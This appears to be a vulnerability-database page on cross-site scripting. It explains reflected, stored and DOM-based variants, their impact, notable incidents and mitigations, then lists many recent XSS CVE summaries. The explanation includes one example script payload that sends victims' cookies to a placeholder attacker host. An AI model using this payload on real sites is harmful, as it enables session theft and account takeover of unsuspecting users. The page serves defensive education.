Skip to main content

Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40664)

EPSS 0% CVSS 5.4
MEDIUM POC This Month

Barix Instreamer v04.06 and v04.05 contains a stored cross-site scripting (XSS) vulnerability in the Web UI Configuration Streaming Destination input.

XSS Instreamer Firmware Barix
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability exists in the web interface of Lyrion Music Server <= 9.0.3. An authenticated user with access to Settings Player can save arbitrary HTML/JavaScript in the Player name field. That value is stored by the server and later rendered without proper output encoding on the Information (Player Info) tab, causing the script to execute in the context of any user viewing that page.

XSS Lyrion Music Server
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Barix Instreamer v04.06 and earlier is vulnerable to Cross Site Scripting (XSS) in the Web UI I/O & Serial configuration page, specifically the CTS close command user-input field which is stored and later rendered on the Status page.

XSS Instreamer Firmware Barix
NVD GitHub
EPSS 0% CVSS 7.3
HIGH This Week

In DefaultTransitionHandler.java, there is a possible way to unknowingly grant permissions to an app due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

XSS Privilege Escalation Google +1
NVD
EPSS 0% CVSS 7.8
HIGH PATCH This Week

In multiple locations, there is a possible way to trick a user into accepting a permission due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

XSS Privilege Escalation Google +1
NVD
EPSS 0% CVSS 8.3
HIGH PATCH This Week

In affected versions, vulnerability-lookup handled user-controlled content in comments and bundles in an unsafe way, which could lead to stored Cross-Site Scripting (XSS). On the backend, the related_vulnerabilities field of bundles accepted arbitrary strings without format validation or proper sanitization. On the frontend, comment and bundle descriptions were converted from Markdown to HTML and then injected directly into the DOM using string templates and innerHTML. This combination allowed an attacker who could create or edit comments or bundles to store crafted HTML/JavaScript payloads which would later be rendered and executed in the browser of any user visiting the affected profile page (user.html).  This issue affects Vulnerability-Lookup: before 2.18.0.

XSS
NVD
EPSS 0% CVSS 1.9
LOW POC Monitor

Cross-site scripting (XSS) in GreenCMS 2.3.0603 allows remote attackers with administrative privileges to inject web script via the 'Link' parameter in menu management. The product is end-of-life and no longer supported; an exploit is publicly available but real-world risk is low due to high privilege requirements and limited deployment.

PHP XSS Greencms +1
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW Monitor

Cross-site scripting in Yealink SIP-T21P E2 firmware version 52.84.0.15 allows remote attackers with low privileges to inject arbitrary web scripts or HTML via the Local Directory Page. The exploit is publicly available and the product is end-of-life with no vendor support. Despite low CVSS and EPSS scores, the vulnerability presents a persistent risk in environments where this unsupported device remains in use.

XSS
NVD VulDB
EPSS 0% CVSS 8.7
HIGH This Week

A reflected Cross-site Scripting (XSS) vulnerability affecting ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2025x allows an attacker to execute arbitrary script code in user's browser session.

XSS 3dexperience Enovia 3Ds
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

Reflected cross-site scripting in SourceCodester Online Banking System 1.0 allows remote attackers to inject scripts via the First Name or Last Name parameter on the user page. Exploit code is publicly available, though no active exploitation has been confirmed and EPSS indicates very low exploitation probability.

XSS Banking System Oretnom23
NVD VulDB
EPSS 0% CVSS 1.9
LOW Monitor

Cross-site scripting in Chamber of Commerce Membership Management System 1.0 allows a high-privileged authenticated user to inject malicious scripts via the Full Name, Address, City, or State fields in /membership_profile.php. When a victim user or administrator subsequently views the manipulated profile data, the injected script executes in their browser context. A public proof-of-concept exploit exists, though the EPSS score of 0.03% and PR:H requirement signal negligible real-world exploitation risk at this time.

PHP XSS Chamber Of Commerce Membership Management System
NVD VulDB
EPSS 0% CVSS 1.9
LOW POC Monitor

Stored cross-site scripting in Hotel Management PHP allows an authenticated attacker with high privileges to inject malicious JavaScript into the dish submission page (dishsub.php). When other users view the crafted content, the script executes in their browser, potentially leading to session theft or defacement. Public exploit code exists but no active exploitation has been confirmed, and the EPSS score is low (0.04%).

PHP XSS Hotel Management Services Using Mysql And Php
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW Monitor

Cross-site scripting in the Hotel-Management-services-using-MYSQL-and-php application allows an authenticated low-privileged attacker to inject JavaScript into the Request Pending Page via /usersub.php, which executes when an administrator views the pending requests. Exploit code is publicly available, but no active exploitation has been confirmed, and the EPSS score indicates a very low probability of widespread exploitation.

PHP XSS Hotel Management Services Using Mysql And Php
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW POC Monitor

Stored cross-site scripting in code

PHP XSS Employee Profile Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 2.0
LOW Monitor

Cross-site scripting in Grandstream GXP1625 firmware version 1.0.7.4 allows remote attackers to inject arbitrary web scripts via the vpn_ip parameter in the Network Status Page. Public exploit code is available, though active exploitation has not been confirmed by CISA KEV. Vendor did not respond to disclosure, leaving no official fix.

XSS
NVD VulDB
EPSS 0% CVSS 7.2
HIGH This Week

The Rich Shortcodes for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the contents of a Google Review in all versions up to, and including, 6.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially patched in version 6.6.2.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The CSS3 Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'button' shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The TR Timthumb plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Ultra Skype Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'btn_id' parameter of the [ultra_skype] shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Social Feed Gallery Portfolio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [igp-wp] shortcode in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The CSV Sumotto plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The RevInsite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `token` parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Yet Another WebClap for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' parameter of the webclap_button shortcode in all versions up to, and including, 0.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Extra Post Images plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the extra-images shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Cute News Ticker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'color' shortcode attribute in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The myLCO plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 0.8.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Application Passwords plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'reject_url' parameter in all versions up to, and including, 0.1.3. This is due to insufficient input sanitization and output escaping on user supplied URLs, which allows javascript: URI schemes to be embedded in the reject_url parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when a user clicks the "No, I do not approve of this connection" button, granted they can successfully trick the victim into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Live Sales Notification for Woocommerce - Woomotiv plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'woomotiv_limit' parameter in all versions up to, and including, 3.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The List Attachments Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before_list' parameter in the [list-attachments] shortcode in all versions up to, and including, 0.4.1a due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Canadian Nutrition Facts Label plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'percentage' field in the Nutrition Label custom post type in all versions up to, and including, 3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 7.2
HIGH This Week

The Widgets for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 13.2.4 due to insufficient input sanitization and output escaping on Google Reviews data imported by the plugin. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that will execute in the admin panel (and potentially on the frontend) whenever a user accesses imported reviews, granted they can add a malicious review to a Google Place that is connected to the vulnerable site.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Link Whisper Free plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the type parameter in all versions up to, and including, 0.8.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 9.6
CRITICAL PATCH Act Now

TUUI is a desktop MCP client designed as a tool unitary utility integration.

XSS RCE Tuui
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC PATCH Monitor

Contacts app for Nextcloud easily syncs contacts from various devices with your Nextcloud and allows editing. Prior to 5.5.4, 6.0.6, and 7.2.5, a malicious user was able to modify their organisation and title field to load additional CSS files. Javascript and other options were correctly blocked by the content security policy of the Nextcloud Server code. This vulnerability is fixed in 5.5.4, 6.0.6, and 7.2.5.

XSS Nextcloud
NVD GitHub
EPSS 0% CVSS 3.5
LOW PATCH Monitor

Nextcloud Mail is the mail app for Nextcloud, a self-hosted productivity platform. Prior to 5.5.3, a stored HTML injection in the Mail app's message list allowed an authenticated user to inject HTML into the email subjects. Javascript was correctly blocked by the content security policy of the Nextcloud Server code.

XSS Nextcloud
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/plugin-config/addins/menus endpoint. When an authenticated user adds or edits an AddIns menu entry, the label and path values are stored in plugin configuration data and later rendered in the AddIns UI without proper HTML sanitation. An attacker can inject malicious script into either field, which is then executed in the browser context of users who view or interact with the affected AddIns entry, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/rule-engines endpoint. When an authenticated user creates or updates a rule for an agent, the rule fields min, max, and unit are stored and later rendered in rule listings or detail views without proper HTML sanitation. An attacker can inject malicious script into one or more of these fields, which is then executed in the browser context of users who view or interact with the affected rule, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/dog/{agentId} endpoint. When an authenticated user adds or edits Software Watchdog process rules for an agent, the monitored process name is stored in the settings array and later rendered in the Software Watchdog UI without proper HTML sanitation. An attacker can inject malicious script into the process name, which is then executed in the browser context of users who view or interact with the affected rules, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/plugin-config/dashboards/menus endpoint. When an authenticated user adds or edits a dashboard entry, the label and path values are stored in plugin configuration data and later rendered in the dashboard UI without proper HTML sanitation. An attacker can inject malicious script into either field, which is then executed in the browser context of users who view or interact with the affected dashboard, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/devices/name/{agent_id} endpoint. When an authenticated user renames a device, the new_name value is stored and later rendered in device listings or detail views without proper HTML sanitation. An attacker can inject malicious script into the device name, which is then executed in the browser context of users who view or interact with the affected device, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/devicegroups/ endpoint. When an authenticated user creates a device group, the name and description values are stored and later rendered in device group listings without proper HTML sanitation. An attacker can inject malicious script into either field, which is then executed in the browser context of users who view or interact with the affected device group, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/action/schedule endpoint. When an authenticated user adds a schedule to an existing task, the schedule name is stored and later rendered in schedule listings without HTML sanitation. An attacker can inject malicious script into the schedule name, which is then executed in the browser context of users who view or interact with the affected schedule, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/devicemap/building endpoint. When an authenticated user creates a map entry, the name parameter is stored and later rendered in the map list UI without HTML sanitzation. An attacker can inject malicious script into the map entry name, which is then executed in the browser context of users who view or interact with the affected map entry, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/devicemap/plan endpoint. When an authenticated user adds an area to a map entry, the name parameter is stored and later rendered in the map list without HTML sanitization. An attacker can inject malicious script into the area name, which is then executed in the browser context of users who view or interact with the affected map entry, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Advantech WISE-DeviceOn Server versions prior to 5.4 contain a stored cross-site scripting (XSS) vulnerability in the /rmm/v1/action/defined endpoint. When an authenticated user creates a task, the defined_name value is stored and later rendered in the Overview page without HTML sanitization. An attacker can inject malicious script into defined_name, which is then executed in the browser context of users who view the affected task, potentially enabling session compromise and unauthorized actions as the victim.

XSS Wise Deviceon Server Advantech
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Nextcloud Server is a self hosted personal cloud system. In Nextcloud Server and Server Enterprise prior to 31.0.12 and 32.0.3, a missing sanitization allowed malicious users to circumvent the content security policy when a malicious user manages to trick a user it viewing an uploaded SVG outside of the Nextcloud Servers web page.

XSS Debian Nextcloud Server +2
NVD GitHub
EPSS 0% CVSS 9.6
CRITICAL POC Act Now

A reflected Cross Site Scripting (XSS) vulnerability on Fanvil x210 2.12.20 devices allows attackers to cause a denial of service or potentially execute arbitrary commands via crafted POST request to the /cgi-bin/webconfig?page=upload&action=submit endpoint.

XSS Denial Of Service X210 Firmware +1
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in CryptX for WordPress up to version 4.0.4 allows authenticated attackers with contributor-level or higher privileges to inject arbitrary web scripts via the plugin's `cryptx` shortcode. The vulnerability arises from insufficient input sanitization and output escaping on shortcode attributes, enabling malicious scripts to execute in the browsers of users who view the injected page. At time of analysis, no public exploit code or active exploitation has been identified, and the EPSS score (0.05%) indicates low exploitation probability.

WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Trail Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Thai Lottery Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `thailottery` shortcode in all versions up to, and including, 2.5. This is due to insufficient input sanitization and output escaping on the user supplied `width` and `height` shortcode attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 8.1
HIGH This Week

The Cool Tag Cloud plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'cool_tag_cloud' shortcode in all versions up to, and including, 2.29 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Nouri.sh Newsletter plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.0.1.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Weekly Planner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy Jump Links Menus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `h_tags` parameter in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP-SOS-Donate Donation Sidebar Plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 0.9.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Twitscription plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the admin.php PATH_INFO in all versions up to, and including, 0.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Jabbernotification plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the admin.php PATH_INFO in all versions up to, and including, 0.99-RC2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The CoSign Single Signon plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 0.3.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Sermon Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `sermon-views` shortcode in all versions up to, and including, 2.30.0. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The PDF Catalog for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'pdfcatalog' AJAX action in all versions up to, and including, 1.1.18 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored Cross-Site Scripting in the Omnipress WordPress plugin (all versions through 1.6.3) allows authenticated attackers with Author-level privileges or higher to upload SVG files containing malicious JavaScript payloads, which execute in the browsers of any user who subsequently accesses the uploaded file. The root cause is insufficient sanitization of SVG file content at upload time and missing output escaping when the file is served, as confirmed by Wordfence and traced to FileUploader.php and FileUploadRestController.php. No public exploit code or active exploitation (CISA KEV) has been identified, and the EPSS score of 0.02% reflects minimal real-world exploitation probability.

WordPress XSS File Upload +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The FitVids for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SurveyFunnel - Survey Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'surveyfunnel_lite_survey' shortcode in all versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Booking Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin 'bookingcalendar' shortcode in all versions up to, and including, 10.14.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

Monkeytype is a minimalistic and customizable typing test. In 25.49.0 and earlier, there is improper handling of user input which allows an attacker to execute malicious javascript on anyone viewing a malicious quote submission. quote.text and quote.source are user input, and they're inserted straight into the DOM. If they contain HTML tags, they will be rendered (after some escaping using quotes and textarea tags).

XSS Monkeytype
NVD GitHub
EPSS 0% CVSS 7.3
HIGH PATCH This Week

SysReptor is a fully customizable pentest reporting platform. Prior to 2025.102, there is a Stored Cross-Site Scripting (XSS) vulnerability allows authenticated users to execute malicious JavaScript in the context of other logged-in users by uploading malicious JavaScript files in the web UI. This vulnerability is fixed in 2025.102.

XSS Sysreptor Syslifters
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS allows Stored XSS via the IPS module. This vulnerability requires an authenticated administrator session to a locally managed Firebox. This issue affects Firebox: from 12.0 through 12.11.2.

XSS Fireware Watchguard
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Stored XSS in WatchGuard Fireware OS's Gateway Wireless Controller module allows an authenticated high-privilege attacker to inject persistent malicious scripts that execute in other privileged users' browsers when they visit the affected management page. All major Fireware OS release branches are affected, spanning 11.7.2 through 2025.1.2 across four distinct version ranges. No public exploit code exists and EPSS stands at 0.03% (9th percentile), indicating very low exploitation probability at time of analysis despite the broad version coverage.

XSS Fireware Watchguard
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Stored XSS in WatchGuard Fireware OS's Autotask Technology Integration module enables an authenticated high-privileged attacker to inject persistent malicious scripts that execute in the browsers of other authenticated management-interface users. Affected versions span three active Fireware OS release branches: 12.4 through 12.11.4, 12.5 through 12.5.13, and 2025.1 through 2025.1.2. No public exploit code has been identified and no CISA KEV listing exists, but the stored nature of the XSS in a network security appliance's management plane creates meaningful risk for administrative session hijacking in shared-admin environments.

XSS Fireware Watchguard
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Stored cross-site scripting in WatchGuard Fireware OS's ConnectWise Technology Integration module enables a high-privileged attacker to persist malicious scripts that execute in other users' browsers upon page load. Affected versions span three release branches: Fireware OS 12.4 through 12.11.4, 12.5 through 12.5.13, and 2025.1 through 2025.1.2. No public exploit code exists and EPSS stands at 0.03% (9th percentile), indicating no current widespread exploitation activity.

XSS Fireware Watchguard
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

